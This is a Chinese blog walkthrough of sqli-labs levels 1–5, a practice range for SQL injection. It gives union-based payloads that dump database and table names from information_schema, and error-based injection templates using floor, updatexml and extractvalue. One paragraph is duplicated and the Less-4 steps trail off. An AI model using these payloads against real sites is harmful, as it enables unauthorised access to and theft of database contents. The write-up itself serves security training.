当前位置: 代码迷 >> 综合 >> SQL注入——sqli-labs靶场闯关(1~5)
  详细解决方案

SQL注入——sqli-labs靶场闯关(1~5)

热度:90   发布时间:2023-11-22 05:36:36.0

Less-1 Error Based- String

1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询

2.接着尝试在id后面加上',发现页面回显不正常,表示可能存在SQL字符注入

3.输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

4.接着使用order by 语句判断,该表中一共有几列数据

  order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。

5.将id=1改为一个数据库不存在的id值,如861,使用union select 1,2,3联合查询语句查看页面是否有显示位。

发现页面先输出了2和3,说明页面有2个显示位
6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
例子:
?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
这是一个查询数据库名信息的语句

查询security内的所有表名
?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

Less-2 Error Based- String

1.输入?id=2-1页面信息发生变化,说明此处是数值型注入

2.order by 3  页面显示正常,order by 4页面显示不正常,所以该表有3列数据

接着可以使用联合查询进行注入,详细过程参考第一关

Less-3 Error Based- String

1.向页面输入?id=2'  --+页面显示不正常,

但是输入  ?id=2') --+ 页面回显正常,说明此处是字符型注入,而且是以 ('')的方式闭合字符串的

2.接着使用order by 判断表中有3列数据

 

3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位   答案:有

下面使用第一关所使用的查询语句,测试一下

查询security内的所有表名
?id=48') union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

Less-4 Error Based- String

与第三关类似,第四关使用   ("")   的方式闭合字符串,然后可以优先使用联合查询注入

1.当输入?id=3" --+时,页面显示不正常

 2.当输入?id=3") --+

Less-5 Error Based- String

1.经错测试发现,当输入?id=3时页面显示正常,具体如下

 当输入?id=999页面显示如下

 说明页面没有显示位。无法使用联合查询注入

2.接着我们尝试在URL中输入  ?id=2' 页面出现错误语句如下.

页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

payload即我们要输入的sql查询语句

3.在这里我们使用floor报错语句进行注入
?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

 这里发现页面提示输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:
id=2' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

 group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:
id=2' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示

  相关解决方案